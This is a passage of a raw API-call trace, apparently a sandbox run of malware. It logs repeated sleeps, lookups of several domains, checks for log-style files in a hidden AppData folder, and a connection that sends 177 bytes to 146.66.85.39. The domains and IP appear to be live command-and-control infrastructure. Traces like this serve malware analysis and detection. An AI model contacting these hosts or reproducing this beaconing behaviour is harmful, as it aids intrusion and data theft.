(dwMilliseconds=0x7d0) [0113.072] socket (af=2, type=1, protocol=6) returned 0x5b8 [0113.078] getaddrinfo (in: pNodeName="www.melvelazco.biz", pServiceName="80", pHints=0x7402e18*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x7402e48 | out: ppResult=0x7402e48*=0x0) returned 11004 [0113.251] Sleep (dwMilliseconds=0x7d0) [0115.262] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946log00.ini", NtPathName=0x42cf7e0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946log00.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0115.266] NtCreateFile (in: FileHandle=0x42cf780, DesiredAccess=0x120089, ObjectAttributes=0x42cf7f0*(Length=0x30, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946log00.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x42cf790, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x42cf780*=0xffffffffffffffff, IoStatusBlock=0x42cf790*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0xc000003a [0115.282] RtlGetProcessHeaps (in: HeapCount=0x2, HeapArray=0x42cf700 | out: HeapArray=0x42cf700*=0x350000) returned 0xf [0115.282] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logri.ini", NtPathName=0x42cf7a0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logri.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0115.282] NtCreateFile (in: FileHandle=0x42cf740, DesiredAccess=0x120089, ObjectAttributes=0x42cf7b0*(Length=0x30, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logri.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x42cf750, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x42cf740*=0xffffffffffffffff, IoStatusBlock=0x42cf750*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0xc000003a [0115.282] RtlGetProcessHeaps (in: HeapCount=0x2, HeapArray=0x42cf6c0 | out: HeapArray=0x42cf6c0*=0x350000) returned 0xf [0115.282] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrf.ini", NtPathName=0x42cf7a0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrf.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0115.282] NtCreateFile (in: FileHandle=0x42cf740, DesiredAccess=0x120089, ObjectAttributes=0x42cf7b0*(Length=0x30, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrf.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x42cf750, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x42cf740*=0xffffffffffffffff, IoStatusBlock=0x42cf750*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0xc000003a [0115.282] RtlGetProcessHeaps (in: HeapCount=0x2, HeapArray=0x42cf6c0 | out: HeapArray=0x42cf6c0*=0x350000) returned 0xf [0115.282] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrt.ini", NtPathName=0x42cf7a0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrt.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0115.283] NtCreateFile (in: FileHandle=0x42cf740, DesiredAccess=0x120089, ObjectAttributes=0x42cf7b0*(Length=0x30, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrt.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x42cf750, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x42cf740*=0xffffffffffffffff, IoStatusBlock=0x42cf750*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0xc000003a [0115.283] RtlGetProcessHeaps (in: HeapCount=0x2, HeapArray=0x42cf6c0 | out: HeapArray=0x42cf6c0*=0x350000) returned 0xf [0115.283] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrg.ini", NtPathName=0x42cf7a0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrg.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0115.283] NtCreateFile (in: FileHandle=0x42cf740, DesiredAccess=0x120089, ObjectAttributes=0x42cf7b0*(Length=0x30, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrg.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x42cf750, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x42cf740*=0xffffffffffffffff, IoStatusBlock=0x42cf750*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0xc000003a [0115.283] RtlGetProcessHeaps (in: HeapCount=0x2, HeapArray=0x42cf6c0 | out: HeapArray=0x42cf6c0*=0x350000) returned 0xf [0115.283] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x42cf7a0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0115.283] NtCreateFile (in: FileHandle=0x42cf740, DesiredAccess=0x120089, ObjectAttributes=0x42cf7b0*(Length=0x30, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x42cf750, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x42cf740*=0xffffffffffffffff, IoStatusBlock=0x42cf750*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0xc000003a [0115.283] RtlGetProcessHeaps (in: HeapCount=0x2, HeapArray=0x42cf6c0 | out: HeapArray=0x42cf6c0*=0x350000) returned 0xf [0115.283] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrm.ini", NtPathName=0x42cf7a0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrm.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0115.283] NtCreateFile (in: FileHandle=0x42cf740, DesiredAccess=0x120089, ObjectAttributes=0x42cf7b0*(Length=0x30, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrm.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x42cf750, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x42cf740*=0xffffffffffffffff, IoStatusBlock=0x42cf750*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0xc000003a [0115.283] RtlGetProcessHeaps (in: HeapCount=0x2, HeapArray=0x42cf6c0 | out: HeapArray=0x42cf6c0*=0x350000) returned 0xf [0115.283] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrv.ini", NtPathName=0x42cf7a0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrv.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0115.283] NtCreateFile (in: FileHandle=0x42cf740, DesiredAccess=0x120089, ObjectAttributes=0x42cf7b0*(Length=0x30, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrv.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x42cf750, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x42cf740*=0xffffffffffffffff, IoStatusBlock=0x42cf750*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0xc000003a [0115.283] RtlGetProcessHeaps (in: HeapCount=0x2, HeapArray=0x42cf6c0 | out: HeapArray=0x42cf6c0*=0x350000) returned 0xf [0115.283] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logro.ini", NtPathName=0x42cf7a0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logro.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0115.283] NtCreateFile (in: FileHandle=0x42cf740, DesiredAccess=0x120089, ObjectAttributes=0x42cf7b0*(Length=0x30, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logro.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x42cf750, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x42cf740*=0xffffffffffffffff, IoStatusBlock=0x42cf750*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0xc000003a [0115.283] RtlGetProcessHeaps (in: HeapCount=0x2, HeapArray=0x42cf6c0 | out: HeapArray=0x42cf6c0*=0x350000) returned 0xf [0115.283] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logcl.ini", NtPathName=0x42cf7a0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logcl.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0115.283] NtCreateFile (in: FileHandle=0x42cf740, DesiredAccess=0x120089, ObjectAttributes=0x42cf7b0*(Length=0x30, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logcl.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x42cf750, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x42cf740*=0xffffffffffffffff, IoStatusBlock=0x42cf750*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0xc000003a [0115.284] RtlGetProcessHeaps (in: HeapCount=0x2, HeapArray=0x42cf6c0 | out: HeapArray=0x42cf6c0*=0x350000) returned 0xf [0115.284] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logim.jpeg", NtPathName=0x42cf770, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logim.jpeg", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0115.284] NtCreateFile (in: FileHandle=0x42cf710, DesiredAccess=0x120089, ObjectAttributes=0x42cf780*(Length=0x30, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logim.jpeg", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x42cf720, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x42cf710*=0xffffffffffffffff, IoStatusBlock=0x42cf720*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0xc000003a [0115.284] RtlGetProcessHeaps (in: HeapCount=0x2, HeapArray=0x42cf690 | out: HeapArray=0x42cf690*=0x350000) returned 0xf [0115.284] Sleep (dwMilliseconds=0x7d0) [0117.285] Sleep (dwMilliseconds=0x7d0) [0119.296] Sleep (dwMilliseconds=0x7d0) [0121.311] Sleep (dwMilliseconds=0x7d0) [0123.320] Sleep (dwMilliseconds=0x7d0) [0125.338] Sleep (dwMilliseconds=0x7d0) [0127.352] Sleep (dwMilliseconds=0x7d0) [0129.359] Sleep (dwMilliseconds=0x7d0) [0131.448] Sleep (dwMilliseconds=0x7d0) [0133.461] socket (af=2, type=1, protocol=6) returned 0x9ec [0133.461] getaddrinfo (in: pNodeName="www.loscaballerosdelzodiaco.net", pServiceName="80", pHints=0x74031b8*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x74031e8 | out: ppResult=0x74031e8*=0x0) returned 11004 [0133.471] Sleep (dwMilliseconds=0x7d0) [0136.472] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946log00.ini", NtPathName=0x42cf7e0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946log00.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0136.472] NtCreateFile (in: FileHandle=0x42cf780, DesiredAccess=0x120089, ObjectAttributes=0x42cf7f0*(Length=0x30, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946log00.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x42cf790, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x42cf780*=0xffffffffffffffff, IoStatusBlock=0x42cf790*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0xc000003a [0136.472] RtlGetProcessHeaps (in: HeapCount=0x2, HeapArray=0x42cf700 | out: HeapArray=0x42cf700*=0x350000) returned 0xf [0136.472] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logri.ini", NtPathName=0x42cf7a0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logri.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0136.472] NtCreateFile (in: FileHandle=0x42cf740, DesiredAccess=0x120089, ObjectAttributes=0x42cf7b0*(Length=0x30, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logri.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x42cf750, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x42cf740*=0xffffffffffffffff, IoStatusBlock=0x42cf750*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0xc000003a [0136.472] RtlGetProcessHeaps (in: HeapCount=0x2, HeapArray=0x42cf6c0 | out: HeapArray=0x42cf6c0*=0x350000) returned 0xf [0136.472] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrf.ini", NtPathName=0x42cf7a0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrf.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0136.472] NtCreateFile (in: FileHandle=0x42cf740, DesiredAccess=0x120089, ObjectAttributes=0x42cf7b0*(Length=0x30, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrf.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x42cf750, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x42cf740*=0xffffffffffffffff, IoStatusBlock=0x42cf750*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0xc000003a [0136.472] RtlGetProcessHeaps (in: HeapCount=0x2, HeapArray=0x42cf6c0 | out: HeapArray=0x42cf6c0*=0x350000) returned 0xf [0136.472] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrt.ini", NtPathName=0x42cf7a0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrt.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0136.472] NtCreateFile (in: FileHandle=0x42cf740, DesiredAccess=0x120089, ObjectAttributes=0x42cf7b0*(Length=0x30, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrt.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x42cf750, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x42cf740*=0xffffffffffffffff, IoStatusBlock=0x42cf750*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0xc000003a [0136.472] RtlGetProcessHeaps (in: HeapCount=0x2, HeapArray=0x42cf6c0 | out: HeapArray=0x42cf6c0*=0x350000) returned 0xf [0136.472] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrg.ini", NtPathName=0x42cf7a0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrg.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0136.472] NtCreateFile (in: FileHandle=0x42cf740, DesiredAccess=0x120089, ObjectAttributes=0x42cf7b0*(Length=0x30, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrg.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x42cf750, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x42cf740*=0xffffffffffffffff, IoStatusBlock=0x42cf750*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0xc000003a [0136.472] RtlGetProcessHeaps (in: HeapCount=0x2, HeapArray=0x42cf6c0 | out: HeapArray=0x42cf6c0*=0x350000) returned 0xf [0136.472] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtPathName=0x42cf7a0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0136.472] NtCreateFile (in: FileHandle=0x42cf740, DesiredAccess=0x120089, ObjectAttributes=0x42cf7b0*(Length=0x30, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrc.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x42cf750, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x42cf740*=0xffffffffffffffff, IoStatusBlock=0x42cf750*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0xc000003a [0136.472] RtlGetProcessHeaps (in: HeapCount=0x2, HeapArray=0x42cf6c0 | out: HeapArray=0x42cf6c0*=0x350000) returned 0xf [0136.473] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrm.ini", NtPathName=0x42cf7a0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrm.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0136.473] NtCreateFile (in: FileHandle=0x42cf740, DesiredAccess=0x120089, ObjectAttributes=0x42cf7b0*(Length=0x30, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrm.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x42cf750, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x42cf740*=0xffffffffffffffff, IoStatusBlock=0x42cf750*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0xc000003a [0136.473] RtlGetProcessHeaps (in: HeapCount=0x2, HeapArray=0x42cf6c0 | out: HeapArray=0x42cf6c0*=0x350000) returned 0xf [0136.473] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrv.ini", NtPathName=0x42cf7a0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrv.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0136.473] NtCreateFile (in: FileHandle=0x42cf740, DesiredAccess=0x120089, ObjectAttributes=0x42cf7b0*(Length=0x30, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logrv.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x42cf750, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x42cf740*=0xffffffffffffffff, IoStatusBlock=0x42cf750*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0xc000003a [0136.473] RtlGetProcessHeaps (in: HeapCount=0x2, HeapArray=0x42cf6c0 | out: HeapArray=0x42cf6c0*=0x350000) returned 0xf [0136.473] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logro.ini", NtPathName=0x42cf7a0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logro.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0136.473] NtCreateFile (in: FileHandle=0x42cf740, DesiredAccess=0x120089, ObjectAttributes=0x42cf7b0*(Length=0x30, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logro.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x42cf750, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x42cf740*=0xffffffffffffffff, IoStatusBlock=0x42cf750*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0xc000003a [0136.473] RtlGetProcessHeaps (in: HeapCount=0x2, HeapArray=0x42cf6c0 | out: HeapArray=0x42cf6c0*=0x350000) returned 0xf [0136.473] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logcl.ini", NtPathName=0x42cf7a0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logcl.ini", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0136.473] NtCreateFile (in: FileHandle=0x42cf740, DesiredAccess=0x120089, ObjectAttributes=0x42cf7b0*(Length=0x30, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logcl.ini", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x42cf750, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x42cf740*=0xffffffffffffffff, IoStatusBlock=0x42cf750*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0xc000003a [0136.473] RtlGetProcessHeaps (in: HeapCount=0x2, HeapArray=0x42cf6c0 | out: HeapArray=0x42cf6c0*=0x350000) returned 0xf [0136.473] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logim.jpeg", NtPathName=0x42cf770, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logim.jpeg", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0136.473] NtCreateFile (in: FileHandle=0x42cf710, DesiredAccess=0x120089, ObjectAttributes=0x42cf780*(Length=0x30, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\aETAdzjz\\AppData\\Roaming\\9468738F\\946logim.jpeg", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x42cf720, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x42cf710*=0xffffffffffffffff, IoStatusBlock=0x42cf720*(Status=0x0, Pointer=0x0, Information=0x0)) returned 0xc000003a [0136.473] RtlGetProcessHeaps (in: HeapCount=0x2, HeapArray=0x42cf690 | out: HeapArray=0x42cf690*=0x350000) returned 0xf [0136.473] Sleep (dwMilliseconds=0x7d0) [0139.505] Sleep (dwMilliseconds=0x7d0) [0141.697] Sleep (dwMilliseconds=0x7d0) [0143.710] Sleep (dwMilliseconds=0x7d0) [0145.753] Sleep (dwMilliseconds=0x7d0) [0147.776] Sleep (dwMilliseconds=0x7d0) [0149.816] Sleep (dwMilliseconds=0x7d0) [0151.905] Sleep (dwMilliseconds=0x7d0) [0154.009] Sleep (dwMilliseconds=0x7d0) [0156.099] socket (af=2, type=1, protocol=6) returned 0x740 [0156.099] getaddrinfo (in: pNodeName="www.kitetou.com", pServiceName="80", pHints=0x7403558*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x7403588 | out: ppResult=0x7403588*=0x454b5a0*(ai_flags=0, ai_family=2, ai_socktype=1, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x446d4a0*(sa_family=2, sin_port=0x50, sin_addr="146.66.85.39"), ai_next=0x0)) returned 0 [0156.457] htons (hostshort=0x50) returned 0x5000 [0156.457] connect (s=0x740, name=0x446d4a0*(sa_family=2, sin_port=0x50, sin_addr="146.66.85.39"), namelen=16) returned 0 [0156.482] send (in: s=0x740, buf=0x84b050f*, len=177, flags=0 | out: buf=0x84b050f*) returned 177 [0156.483] setsockopt (s=0x740, level=65535, optname=4102, optval="\xf4\x01", 